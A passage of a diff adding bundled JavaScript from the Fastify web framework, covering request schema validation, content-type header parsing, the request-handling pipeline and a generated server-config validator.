"string" && schema.$ref[0] !== "#") { + return schema.$ref; + } + for (const key of Object.keys(schema)) { + const ref = findExternalHeaderRef(schema[key]); + if (ref !== void 0) return ref; + } + return void 0; + } + function compileSchemasForValidation(context2, compile, isCustom) { + const { schema } = context2; + if (!schema) { + return; + } + const { method, url: url2 } = context2.config || {}; + const headers = schema.headers; + if (headers !== void 0) { + if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { + context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + } else { + const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); + const externalRef = findExternalHeaderRef(headers); + if (externalRef !== void 0) { + FSTSEC002(method, url2, externalRef); + } + context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + } + } else if (Object.hasOwn(schema, "headers")) { + FSTWRN001("headers", method, url2); + } + if (schema.body !== void 0) { + const contentProperty = schema.body !== null && typeof schema.body === "object" ? schema.body.content : void 0; + if (contentProperty) { + const contentTypeSchemas = {}; + for (const contentType of Object.keys(contentProperty)) { + const contentSchema = contentProperty[contentType].schema; + contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + } + context2[bodySchema] = contentTypeSchemas; + } else { + context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + } + } else if (Object.hasOwn(schema, "body")) { + FSTWRN001("body", method, url2); + } + if (schema.querystring !== void 0) { + context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + } else if (Object.hasOwn(schema, "querystring")) { + FSTWRN001("querystring", method, url2); + } + if (schema.params !== void 0) { + context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + } else if (Object.hasOwn(schema, "params")) { + FSTWRN001("params", method, url2); + } + } + function validateParam(validatorFunction, request, paramName) { + if (validatorFunction == null) return false; + const value = request[paramName]; + let ret2; + try { + const data = value === void 0 ? null : value; + if (validatorFunction.schemaEnv) { + ret2 = validatorFunction(data, { + parentData: request, + parentDataProperty: paramName + }); + } else { + ret2 = validatorFunction(data); + } + } catch (err) { + err.statusCode = 500; + return err; + } + if (ret2 && typeof ret2.then === "function") { + return ret2.then((res) => { + return res === false ? validatorFunction.errors : false; + }).catch((err) => { + return err; + }); + } + return answer(ret2); + function answer(ret3) { + if (ret3 === false) return validatorFunction.errors; + if (ret3 && ret3.error) return ret3.error; + if (ret3 && typeof ret3 === "object" && "value" in ret3) request[paramName] = ret3.value; + return false; + } + } + function validate(context2, request, execution) { + const runExecution = execution === void 0; + if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { + return false; + } + if (runExecution || !execution.skipParams) { + const params = validateParam(context2[paramsSchema], request, "params"); + if (params) { + if (typeof params.then !== "function") { + return wrapValidationError(params, "params", context2.schemaErrorFormatter); + } else { + return validateAsyncParams(params, context2, request); + } + } + } + if (runExecution || !execution.skipBody) { + let validatorFunction = null; + if (typeof context2[bodySchema] === "function") { + validatorFunction = context2[bodySchema]; + } else if (context2[bodySchema]) { + const contentSchema = context2[bodySchema][request.mediaType]; + if (contentSchema) { + validatorFunction = contentSchema; + } + } + const body = validateParam(validatorFunction, request, "body"); + if (body) { + if (typeof body.then !== "function") { + return wrapValidationError(body, "body", context2.schemaErrorFormatter); + } else { + return validateAsyncBody(body, context2, request); + } + } + } + if (runExecution || !execution.skipQuery) { + const query = validateParam(context2[querystringSchema], request, "query"); + if (query) { + if (typeof query.then !== "function") { + return wrapValidationError(query, "querystring", context2.schemaErrorFormatter); + } else { + return validateAsyncQuery(query, context2, request); + } + } + } + const headers = validateParam(context2[headersSchema], request, "headers"); + if (headers) { + if (typeof headers.then !== "function") { + return wrapValidationError(headers, "headers", context2.schemaErrorFormatter); + } else { + return validateAsyncHeaders(headers, context2, request); + } + } + return false; + } + function validateAsyncParams(validatePromise, context2, request) { + return validatePromise.then((paramsResult) => { + if (paramsResult) { + return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); + } + return validate(context2, request, { skipParams: true }); + }); + } + function validateAsyncBody(validatePromise, context2, request) { + return validatePromise.then((bodyResult) => { + if (bodyResult) { + return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); + } + return validate(context2, request, { skipParams: true, skipBody: true }); + }); + } + function validateAsyncQuery(validatePromise, context2, request) { + return validatePromise.then((queryResult) => { + if (queryResult) { + return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); + } + return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + }); + } + function validateAsyncHeaders(validatePromise, context2, request) { + return validatePromise.then((headersResult) => { + if (headersResult) { + return wrapValidationError(headersResult, "headers", context2.schemaErrorFormatter); + } + return false; + }); + } + function wrapValidationError(result, dataVar, schemaErrorFormatter) { + if (result instanceof Error) { + result.statusCode = result.statusCode || 400; + result.code = result.code || "FST_ERR_VALIDATION"; + result.validationContext = result.validationContext || dataVar; + return result; + } + const error51 = schemaErrorFormatter(result, dataVar); + error51.statusCode = error51.statusCode || 400; + error51.code = error51.code || "FST_ERR_VALIDATION"; + error51.validation = result; + error51.validationContext = dataVar; + return error51; + } + module.exports = { + symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, + compileSchemasForValidation, + compileSchemasForSerialization, + validate + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/content-type.js +var require_content_type = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/content-type.js"(exports, module) { + "use strict"; + var { LruMap: Lru } = require_toad_cache(); + var keyValuePairsReg = /(?:^|;)\s*([\w!#$%&'*+.^`|~-]+)=("(?:[\t\u0020\u0021\u0023-\u005b\u005d-\u007e\u0080-\u00ff]|\\[\t\u0020-\u00ff])*"|[\w!#$%&'*+.^`|~-]+)/gu; + var quotedPairReg = /\\([\t\u0020-\u00ff])/gu; + var typeNameReg = /^[\w!#$%&'*+.^`|~-]+$/; + var subtypeNameReg = /^[\w!#$%&'*+.^`|~-]+\s*$/; + var cache2 = new Lru(100); + var ContentType = class _ContentType { + #valid = false; + #empty = true; + #type = ""; + #subtype = ""; + #parameters = /* @__PURE__ */ new Map(); + #string; + /** + * The shared cache of ContentType instances. The cache is used to avoid + * creating multiple instances of ContentType for the same header value. + * @type {Lru} + */ + static get cache() { + return cache2; + } + /** + * Create a ContentType instance from a header value. If the value has been + * previously parsed, the cached instance will be returned. + * @param {string} headerValue + * @returns {ContentType | undefined} + */ + static from(headerValue) { + let contentType = cache2.get(headerValue); + if (contentType !== void 0) return contentType; + contentType = new _ContentType(headerValue); + cache2.set(headerValue, contentType); + return contentType; + } + constructor(headerValue) { + if (headerValue == null || headerValue === "" || headerValue === "undefined") { + return; + } + let sepIdx = headerValue.indexOf(";"); + if (sepIdx === -1) { + sepIdx = headerValue.indexOf("/"); + if (sepIdx === -1) { + return; + } + const type2 = headerValue.slice(0, sepIdx).trimStart().toLowerCase(); + const subtype2 = headerValue.slice(sepIdx + 1).trimEnd().toLowerCase(); + if (typeNameReg.test(type2) === true && subtypeNameReg.test(subtype2) === true) { + this.#valid = true; + this.#empty = false; + this.#type = type2; + this.#subtype = subtype2; + } + return; + } + const mediaType2 = headerValue.slice(0, sepIdx).toLowerCase(); + const paramsList = headerValue.slice(sepIdx + 1).trim(); + sepIdx = mediaType2.indexOf("/"); + if (sepIdx === -1) { + return; + } + const type = mediaType2.slice(0, sepIdx).trimStart(); + const subtype = mediaType2.slice(sepIdx + 1).trimEnd(); + if (typeNameReg.test(type) === false || subtypeNameReg.test(subtype) === false) { + return; + } + this.#type = type; + this.#subtype = subtype; + this.#valid = true; + this.#empty = false; + let matches = keyValuePairsReg.exec(paramsList); + while (matches) { + const key = matches[1].toLowerCase(); + let value = matches[2]; + if (value.charCodeAt(0) === 34) { + value = value.slice(1, -1); + if (value.indexOf("\\") !== -1) { + value = value.replace(quotedPairReg, "$1"); + } + } + this.#parameters.set(key, value); + matches = keyValuePairsReg.exec(paramsList); + } + } + get [Symbol.toStringTag]() { + return "ContentType"; + } + get isEmpty() { + return this.#empty; + } + get isValid() { + return this.#valid; + } + get mediaType() { + if (this.#valid === false) return void 0; + return `${this.#type}/${this.#subtype}`; + } + get type() { + return this.#type; + } + get subtype() { + return this.#subtype; + } + get parameters() { + return this.#parameters; + } + toString() { + if (this.#string) return this.#string; + const parameters = []; + for (const [key, value] of this.#parameters.entries()) { + parameters.push(`${key}="${value}"`); + } + const result = [this.#type, "/", this.#subtype]; + if (parameters.length > 0) { + result.push("; "); + result.push(parameters.join("; ")); + } + this.#string = result.join(""); + return this.#string; + } + }; + module.exports = ContentType; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/handle-request.js +var require_handle_request = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/handle-request.js"(exports, module) { + "use strict"; + var diagnostics = __require("node:diagnostics_channel"); + var wrapThenable = require_wrap_thenable(); + var { validate: validateSchema } = require_validation(); + var { preValidationHookRunner, preHandlerHookRunner } = require_hooks(); + var { + FST_ERR_CTP_INVALID_MEDIA_TYPE, + FST_ERR_ROUTE_MISSING_CONTENT_TYPE, + FST_ERR_ROUTE_MISSING_CONTENT + } = require_errors2(); + var { setErrorStatusCode } = require_error_status(); + var { + kReplyIsError, + kRouteContext, + kFourOhFourContext, + kSupportedHTTPMethods, + kRequestContentType, + kDiagnosticsStore + } = require_symbols3(); + var ContentType = require_content_type(); + var channels = diagnostics.tracingChannel("fastify.request.handler"); + function handleRequest(err, request, reply) { + if (reply.sent === true) return; + if (err != null) { + reply[kReplyIsError] = true; + reply.send(err); + return; + } + const method = request.method; + if (this[kSupportedHTTPMethods].bodyless.has(method)) { + handler(request, reply); + return; + } + if (this[kSupportedHTTPMethods].bodywith.has(method)) { + const headers = request.headers; + const ctHeader = headers["content-type"]; + if (method === "QUERY") { + if (ctHeader === void 0) { + reply[kReplyIsError] = true; + reply.status(400).send(new FST_ERR_ROUTE_MISSING_CONTENT_TYPE(method)); + return; + } + if (isEmptyBody(headers)) { + reply[kReplyIsError] = true; + reply.status(400).send(new FST_ERR_ROUTE_MISSING_CONTENT(method)); + return; + } + } + if (ctHeader === void 0) { + if (isEmptyBody(headers)) { + handler(request, reply); + return; + } + request[kRouteContext].contentTypeParser.run("", handler, request, reply); + return; + } + if (!request[kRequestContentType]) { + request[kRequestContentType] = ContentType.from(ctHeader); + } + if (request[kRequestContentType].isValid === false) { + reply[kReplyIsError] = true; + reply.status(415).send(new FST_ERR_CTP_INVALID_MEDIA_TYPE()); + return; + } + request[kRouteContext].contentTypeParser.run(request[kRequestContentType].toString(), handler, request, reply); + return; + } + handler(request, reply); + } + function handler(request, reply) { + try { + if (request[kRouteContext].preValidation !== null) { + preValidationHookRunner( + request[kRouteContext].preValidation, + request, + reply, + preValidationCallback + ); + } else { + preValidationCallback(null, request, reply); + } + } catch (err) { + preValidationCallback(err, request, reply); + } + } + function isEmptyBody(headers) { + const contentLength = headers["content-length"]; + const transferEncoding = headers["transfer-encoding"]; + return transferEncoding === void 0 && (contentLength === void 0 || contentLength === "0"); + } + function preValidationCallback(err, request, reply) { + if (reply.sent === true) return; + if (err != null) { + reply[kReplyIsError] = true; + reply.send(err); + return; + } + const validationErr = validateSchema(reply[kRouteContext], request); + const isAsync = validationErr && typeof validationErr.then === "function" || false; + if (isAsync) { + const cb = validationCompleted.bind(null, request, reply); + validationErr.then(cb, cb); + } else { + validationCompleted(request, reply, validationErr); + } + } + function validationCompleted(request, reply, validationErr) { + if (validationErr) { + if (reply[kRouteContext].attachValidation === false) { + reply.send(validationErr); + return; + } + reply.request.validationError = validationErr; + } + if (request[kRouteContext].preHandler !== null) { + preHandlerHookRunner( + request[kRouteContext].preHandler, + request, + reply, + preHandlerCallback + ); + } else { + preHandlerCallback(null, request, reply); + } + } + function preHandlerCallback(err, request, reply) { + if (reply.sent) return; + const context2 = request[kRouteContext]; + if (!channels.hasSubscribers || context2[kFourOhFourContext] === null) { + preHandlerCallbackInner(err, request, reply); + } else { + const store = { + request, + reply, + async: false, + route: { + url: context2.config.url, + method: context2.config.method + } + }; + reply[kDiagnosticsStore] = store; + channels.start.runStores(store, preHandlerCallbackInner, void 0, err, request, reply, store); + } + } + function preHandlerCallbackInner(err, request, reply, store) { + const context2 = request[kRouteContext]; + try { + if (err != null) { + reply[kReplyIsError] = true; + if (store) { + store.error = err; + setErrorStatusCode(reply, err); + channels.error.publish(store); + } + reply.send(err); + return; + } + let result; + try { + result = context2.handler(request, reply); + } catch (err2) { + if (store) { + store.error = err2; + setErrorStatusCode(reply, err2); + channels.error.publish(store); + } + reply[kReplyIsError] = true; + reply.send(err2); + return; + } + if (result !== void 0) { + if (result !== null && typeof result.then === "function") { + wrapThenable(result, reply, store); + } else { + reply.send(result); + } + } + } finally { + if (store) channels.end.publish(store); + } + } + module.exports = handleRequest; + module.exports[Symbol.for("internals")] = { handler, preHandlerCallback }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/config-validator.js +var require_config_validator = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/config-validator.js"(exports, module) { + "use strict"; + module.exports = validate10; + module.exports.default = validate10; + var schema11 = { "type": "object", "additionalProperties": false, "properties": { "connectionTimeout": { "type": "integer", "default": 0 }, "keepAliveTimeout": { "type": "integer", "default": 72e3 }, "forceCloseConnections": { "oneOf": [{ "type": "string", "pattern": "idle" }, { "type": "boolean" }] }, "maxRequestsPerSocket": { "type": "integer", "default": 0, "nullable": true }, "requestTimeout": { "type": "integer", "default": 0 }, "handlerTimeout": { "type": "integer", "default": 0 }, "bodyLimit": { "type": "integer", "default": 1048576 }, "caseSensitive": { "type": "boolean", "default": true }, "allowUnsafeRegex": { "type": "boolean", "default": false }, "http2": { "type": "boolean" }, "https": { "if": { "not": { "oneOf": [{ "type": "boolean" }, { "type": "null" }, { "type": "object", "additionalProperties": false, "required": ["allowHTTP1"], "properties": { "allowHTTP1": { "type": "boolean" } } }] } }, "then": { "setDefaultValue": true } }, "ignoreTrailingSlash": { "type": "boolean", "default": false }, "ignoreDuplicateSlashes": { "type": "boolean", "default": false }, "disableRequestLogging": { "default": false }, "maxParamLength": { "type": "integer", "default": 100 }, "onProtoPoisoning": { "type": "string", "default": "error" }, "onConstructorPoisoning": { "type": "string", "default": "error" }, "pluginTimeout": { "type": "integer", "default": 1e4 }, "requestIdHeader": { "anyOf": [{ "type": "boolean" }, { "type": "string" }], "default": false }, "requestIdLogLabel": { "type": "string", "default": "reqId" }, "http2SessionTimeout": { "type": "integer", "default": 72e3 }, "exposeHeadRoutes": { "type": "boolean", "default": true }, "useSemicolonDelimiter": { "type": "boolean", "default": false }, "routerOptions": { "type": "object", "additionalProperties": true, "properties": { "ignoreTrailingSlash": { "type": "boolean", "default": false }, "ignoreDuplicateSlashes": { "type": "boolean", "default": false }, "maxParamLength": { "type": "integer", "default": 100 }, "allowUnsafeRegex": { "type": "boolean", "default": false }, "useSemicolonDelimiter": { "type": "boolean", "default": false } } }, "constraints": { "type": "object", "additionalProperties": { "type": "object", "required": ["name", "storage", "validate", "deriveConstraint"], "additionalProperties": true, "properties": { "name": { "type": "string" }, "storage": {}, "validate": {}, "deriveConstraint": {} } } } } }; + var func2 = Object.prototype.hasOwnProperty; + var pattern0 = new RegExp("idle", "u"); + function validate10(data, { instancePath = "", parentData, parentDataProperty, rootData = data } = {}) { + let vErrors = null; + let errors = 0; + if (errors === 0) { + if (data && typeof data == "object" && !Array.isArray(data)) { + if (data.connectionTimeout === void 0) { + data.connectionTimeout = 0; + } + if (data.keepAliveTimeout === void 0) { + data.keepAliveTimeout = 72e3; + } + if (data.maxRequestsPerSocket === void 0) { + data.maxRequestsPerSocket = 0; + } + if (data.requestTimeout === void 0) { + data.requestTimeout = 0; + } + if (data.handlerTimeout === void 0) { + data.handlerTimeout = 0; + } + if (data.bodyLimit === void 0) { + data.bodyLimit = 1048576; + } + if (data.caseSensitive === void 0) { + data.caseSensitive = true; + } + if (data.allowUnsafeRegex === void 0) { + data.allowUnsafeRegex = false; + } + if (data.ignoreTrailingSlash === void 0) { + data.ignoreTrailingSlash = false; + } + if (data.ignoreDuplicateSlashes === void 0) { + data.ignoreDuplicateSlashes = false; + } + if (data.disableRequestLogging === void 0) { + data.disableRequestLogging = false; + } + if (data.maxParamLength === void 0) { + data.maxParamLength = 100; + } + if (data.onProtoPoisoning === void 0) { + data.onProtoPoisoning = "error"; + } + if (data.onConstructorPoisoning === void 0) { + data.onConstructorPoisoning = "error"; + } + if (data.pluginTimeout === void 0) { + data.pluginTimeout = 1e4; + } + if (data.requestIdHeader === void 0) { + data.requestIdHeader = false; + } + if (data.requestIdLogLabel === void 0) { + data.requestIdLogLabel = "reqId"; + } + if (data.http2SessionTimeout === void 0) { + data.http2SessionTimeout = 72e3; + } + if (data.exposeHeadRoutes === void 0) { + data.exposeHeadRoutes = true; + } + if (data.useSemicolonDelimiter === void 0) { + data.useSemicolonDelimiter = false; + } + const _errs1 = errors; + for (const key0 in data) { + if (!func2.call(schema11.properties, key0)) { + delete data[key0]; + } + } + if (_errs1 === errors) { + let data0 = data.connectionTimeout; + const _errs2 = errors; + if (!(typeof data0 == "number" && (!(data0 % 1) && !isNaN(data0)) && isFinite(data0))) { + let dataType0 = typeof data0; + let coerced0 = void 0; + if (!(coerced0 !== void 0)) { + if (dataType0 === "boolean" || data0 === null || dataType0 === "string" && data0 && data0 == +data0 && !(data0 % 1)) { + coerced0 = +data0; + } else { + validate10.errors = [{ instancePath: instancePath + "/connectionTimeout", schemaPath: "#/properties/connectionTimeout/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced0 !== void 0) { + data0 = coerced0; + if (data !== void 0) { + data["connectionTimeout"] = coerced0; + } + } + } + var valid0 = _errs2 === errors; + if (valid0) { + let data1 = data.keepAliveTimeout; + const _errs4 = errors; + if (!(typeof data1 == "number" && (!(data1 % 1) && !isNaN(data1)) && isFinite(data1))) { + let dataType1 = typeof data1; + let coerced1 = void 0; + if (!(coerced1 !== void 0)) { + if (dataType1 === "boolean" || data1 === null || dataType1 === "string" && data1 && data1 == +data1 && !(data1 % 1)) { + coerced1 = +data1; + } else { + validate10.errors = [{ instancePath: instancePath + "/keepAliveTimeout", schemaPath: "#/properties/keepAliveTimeout/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced1 !== void 0) { + data1 = coerced1; + if (data !== void 0) { + data["keepAliveTimeout"] = coerced1; + } + } + } + var valid0 = _errs4 === errors; + if (valid0) { + if (data.forceCloseConnections !== void 0) { + let data2 = data.forceCloseConnections; + const _errs6 = errors; + const _errs7 = errors; + let valid1 = false; + let passing0 = null; + const _errs8 = errors; + if (typeof data2 !== "string") { + let dataType2 = typeof data2; + let coerced2 = void 0; + if (!(coerced2 !== void 0)) { + if (dataType2 == "number" || dataType2 == "boolean") { + coerced2 = "" + data2; + } else if (data2 === null) { + coerced2 = ""; + } else { + const err0 = { instancePath: instancePath + "/forceCloseConnections", schemaPath: "#/properties/forceCloseConnections/oneOf/0/type", keyword: "type", params: { type: "string" }, message: "must be string" }; + if (vErrors === null) { + vErrors = [err0]; + } else { + vErrors.push(err0); + } + errors++; + } + } + if (coerced2 !== void 0) { + data2 = coerced2; + if (data !== void 0) { + data["forceCloseConnections"] = coerced2; + } + } + } + if (errors === _errs8) { + if (typeof data2 === "string") { + if (!pattern0.test(data2)) { + const err1 = { instancePath: instancePath + "/forceCloseConnections", schemaPath: "#/properties/forceCloseConnections/oneOf/0/pattern", keyword: "pattern", params: { pattern: "idle" }, message: 'must match pattern "idle"' }; + if (vErrors === null) { + vErrors = [err1]; + } else { + vErrors.push(err1); + } + errors++; + } + } + } + var _valid0 = _errs8 === errors; + if (_valid0) { + valid1 = true; + passing0 = 0; + } + const _errs10 = errors; + if (typeof data2 !== "boolean") { + let coerced3 = void 0; + if (!(coerced3 !== void 0)) { + if (data2 === "false" || data2 === 0 || data2 === null) { + coerced3 = false; + } else if (data2 === "true" || data2 === 1) { + coerced3 = true; + } else { + const err2 = { instancePath: instancePath + "/forceCloseConnections", schemaPath: "#/properties/forceCloseConnections/oneOf/1/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }; + if (vErrors === null) { + vErrors = [err2]; + } else { + vErrors.push(err2); + } + errors++; + } + } + if (coerced3 !== void 0) { + data2 = coerced3; + if (data !== void 0) { + data["forceCloseConnections"] = coerced3; + } + } + } + var _valid0 = _errs10 === errors; + if (_valid0 && valid1) { + valid1 = false; + passing0 = [passing0, 1]; + } else { + if (_valid0) { + valid1 = true; + passing0 = 1; + } + } + if (!valid1) { + const err3 = { instancePath: instancePath + "/forceCloseConnections", schemaPath: "#/properties/forceCloseConnections/oneOf", keyword: "oneOf", params: { passingSchemas: passing0 }, message: "must match exactly one schema in oneOf" }; + if (vErrors === null) { + vErrors = [err3]; + } else { + vErrors.push(err3); + } + errors++; + validate10.errors = vErrors; + return false; + } else { + errors = _errs7; + if (vErrors !== null) { + if (_errs7) { + vErrors.length = _errs7; + } else { + vErrors = null; + } + } + } + var valid0 = _errs6 === errors; + } else { + var valid0 = true; + } + if (valid0) { + let data3 = data.maxRequestsPerSocket; + const _errs12 = errors; + if (!(typeof data3 == "number" && (!(data3 % 1) && !isNaN(data3)) && isFinite(data3)) && data3 !== null) { + let dataType4 = typeof data3; + let coerced4 = void 0; + if (!(coerced4 !== void 0)) { + if (dataType4 === "boolean" || data3 === null || dataType4 === "string" && data3 && data3 == +data3 && !(data3 % 1)) { + coerced4 = +data3; + } else if (data3 === "" || data3 === 0 || data3 === false) { + coerced4 = null; + } else { + validate10.errors = [{ instancePath: instancePath + "/maxRequestsPerSocket", schemaPath: "#/properties/maxRequestsPerSocket/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced4 !== void 0) { + data3 = coerced4; + if (data !== void 0) { + data["maxRequestsPerSocket"] = coerced4; + } + } + } + var valid0 = _errs12 === errors; + if (valid0) { + let data4 = data.requestTimeout; + const _errs15 = errors; + if (!(typeof data4 == "number" && (!(data4 % 1) && !isNaN(data4)) && isFinite(data4))) { + let dataType5 = typeof data4; + let coerced5 = void 0; + if (!(coerced5 !== void 0)) { + if (dataType5 === "boolean" || data4 === null || dataType5 === "string" && data4 && data4 == +data4 && !(data4 % 1)) { + coerced5 = +data4; + } else { + validate10.errors = [{ instancePath: instancePath + "/requestTimeout", schemaPath: "#/properties/requestTimeout/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced5 !== void 0) { + data4 = coerced5; + if (data !== void 0) { + data["requestTimeout"] = coerced5; + } + } + } + var valid0 = _errs15 === errors; + if (valid0) { + let data5 = data.handlerTimeout; + const _errs17 = errors; + if (!(typeof data5 == "number" && (!(data5 % 1) && !isNaN(data5)) && isFinite(data5))) { + let dataType6 = typeof data5; + let coerced6 = void 0; + if (!(coerced6 !== void 0)) { + if (dataType6 === "boolean" || data5 === null || dataType6 === "string" && data5 && data5 == +data5 && !(data5 % 1)) { + coerced6 = +data5; + } else { + validate10.errors = [{ instancePath: instancePath + "/handlerTimeout", schemaPath: "#/properties/handlerTimeout/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced6 !== void 0) { + data5 = coerced6; + if (data !== void 0) { + data["handlerTimeout"] = coerced6; + } + } + } + var valid0 = _errs17 === errors; + if (valid0) { + let data6 = data.bodyLimit; + const _errs19 = errors; + if (!(typeof data6 == "number" && (!(data6 % 1) && !isNaN(data6)) && isFinite(data6))) { + let dataType7 = typeof data6; + let coerced7 = void 0; + if (!(coerced7 !== void 0)) { + if (dataType7 === "boolean" || data6 === null || dataType7 === "string" && data6 && data6 == +data6 && !(data6 % 1)) { + coerced7 = +data6; + } else { + validate10.errors = [{ instancePath: instancePath + "/bodyLimit", schemaPath: "#/properties/bodyLimit/type", keyword: "type", params: { type: "integer" }, message: "must be integer" }]; + return false; + } + } + if (coerced7 !== void 0) { + data6 = coerced7; + if (data !== void 0) { + data["bodyLimit"] = coerced7; + } + } + } + var valid0 = _errs19 === errors; + if (valid0) { + let data7 = data.caseSensitive; + const _errs21 = errors; + if (typeof data7 !== "boolean") { + let coerced8 = void 0; + if (!(coerced8 !== void 0)) { + if (data7 === "false" || data7 === 0 || data7 === null) { + coerced8 = false; + } else if (data7 === "true" || data7 === 1) { + coerced8 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/caseSensitive", schemaPath: "#/properties/caseSensitive/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced8 !== void 0) { + data7 = coerced8; + if (data !== void 0) { + data["caseSensitive"] = coerced8; + } + } + } + var valid0 = _errs21 === errors; + if (valid0) { + let data8 = data.allowUnsafeRegex; + const _errs23 = errors; + if (typeof data8 !== "boolean") { + let coerced9 = void 0; + if (!(coerced9 !== void 0)) { + if (data8 === "false" || data8 === 0 || data8 === null) { + coerced9 = false; + } else if (data8 === "true" || data8 === 1) { + coerced9 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/allowUnsafeRegex", schemaPath: "#/properties/allowUnsafeRegex/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced9 !== void 0) { + data8 = coerced9; + if (data !== void 0) { + data["allowUnsafeRegex"] = coerced9; + } + } + } + var valid0 = _errs23 === errors; + if (valid0) { + if (data.http2 !== void 0) { + let data9 = data.http2; + const _errs25 = errors; + if (typeof data9 !== "boolean") { + let coerced10 = void 0; + if (!(coerced10 !== void 0)) { + if (data9 === "false" || data9 === 0 || data9 === null) { + coerced10 = false; + } else if (data9 === "true" || data9 === 1) { + coerced10 = true; + } else { + validate10.errors = [{ instancePath: instancePath + "/http2", schemaPath: "#/properties/http2/type", keyword: "type", params: { type: "boolean" }, message: "must be boolean" }]; + return false; + } + } + if (coerced10 !== void 0) { + data9 = coerced10; + if (data !== void 0) { + data["http2"] = coerced10; + } + } + } + var valid0 = _errs25 === errors; + } else { + var valid0 = true; + } + if (valid0) { + if (data.https !== void 0) { + let data10 = data.https; + const _errs27 = errors; + const _errs28 = errors; + let valid2 = true; + const _errs29 = errors; + const _errs30 = errors; + const _errs31 = errors; + const _errs32 = errors; + let valid4 = false; + let passing1 = null; + const _errs33 = errors; + if (typeof data10 !== "boolean") { + let coerced11 = void 0; + if (!(coerced11 !== void 0)) { + if (data10 === "false" || data10 === 0 || data10 === null) { + coerced11 = false; + } else if (data10 === "true" || data10 === 1) { + coerced11 = true; + } else { + const err4 = {}; + if (vErrors === null) { + vErrors = [err4]; + } else { + vErrors.push(err4); + } + errors++; + } + } + if (coerced11 !== void 0) { + data10 = coerced11; + if (data !== void 0) { + data["https"] = coerced11; + } + } + } + var _valid2 = _errs33 === errors; + if (_valid2) { + valid4 = true; + passing1 = 0; + } + const _errs35 = errors; + if (data10 !== null) { + let coerced12 = void 0; + if (!(coerced12 !== void 0)) { + if (data10 === "" || data10 === 0 || data10 === false) { + coerced12 = null; + } else { + const err5 = {}; + if (vErrors === null) { + vErrors = [err5]; + } else { + vErrors.push(err5); + } + errors++; + } + } + if (coerced12 !== void 0) { + data10 = coerced12; + if (data !== void 0) { + data["https"] = coerced12; + } + } + } + var _valid2 = _errs35 === errors; + if (_valid2 && valid4) { + valid4 = false; + passing1 = [passing1, 1]; + } else { + if (_valid2) { + valid4 = true; + passing1 = 1; + } + const _errs37 = errors; + if (errors === _errs37) { + if (data10 && typeof data10 == "object" && !Array.isArray(data10)) { + let missing0; + if (data10.allowHTTP1 === void 0 && (missing0 = "allowHTTP1")) { + const err6 = {}; + if (vErrors === null) { + vErrors = [err6]; + } else { + vErrors.push(err6); + } + errors++; + } else { + const _errs39 = errors; + for (const key1 in data10) { + if (!(key1 === "allowHTTP1")) { + delete data10[key1]; + } + } + if (_errs39 === errors) { + if (data10.allowHTTP1 !== void 0) { + let data11 = data10.allowHTTP1; + if (typeof data11 !== "boolean") { + let coerced13 = void 0; + if (!(coerced13 !== void 0)) { + if (data11 === "false" || data11 === 0 || data11 === null) { + coerced13 = false; + } else if (data11 === "true" || data11 === 1) { + coerced13 = true; + } else { + const err7 = {}; + if (vErrors === null) { + vErrors = [err7]; + } else { + vErrors.push(err7); + } + errors++; + } + } + if (coerced13 !== void 0) { + data11 = coerced13; + if (data10 !== void 0) { + data10["allowHTTP1"] = coerced13; + } + } + } + } + } + } + } else { + const err8 = {}; + if (vErrors === null) { + vErrors = [err8]; + } else { + vErrors.push(err8); + } + errors++; + } + } + var _valid2 = _errs37 === errors; + if (_valid2 && valid4) { + valid4 = false; + passing1 = [passing1, 2]; + } else { + if (_valid2) { + valid4 = true; + passing1 = 2; + } + } + } + if (!valid4) { + const err9 = {}; + if (vErrors === null) { + vErrors = [err9]; + } else { + vErrors.push(err9); + } + errors++; + } else { + errors = _errs32; + if (vErrors !== null) { + if (_errs32) { + vErrors.length = _errs32; + } else { + vErrors = null; + } + } + } + var valid3 = _errs31 === errors; + if (valid3) { + const err10 = {}; + if (vErrors === null) { + vErrors = [err10]; + } else { + vErrors.push(err10); + } + errors++; + } else { + errors = _errs30; + if (vErrors !== null) { + if (_errs30) { + vErrors.length = _errs30; + } else { + vErrors = null; + } + } + } + var _valid1 = _errs29 === errors; + errors = _errs28; + if (vErrors !== null) { + if (_errs28) { + vErrors.length = _errs28; + } else { + vErrors = null; + } + } + if (_valid1) { + const _errs42 = errors; + data["https"] = true; + var _valid1 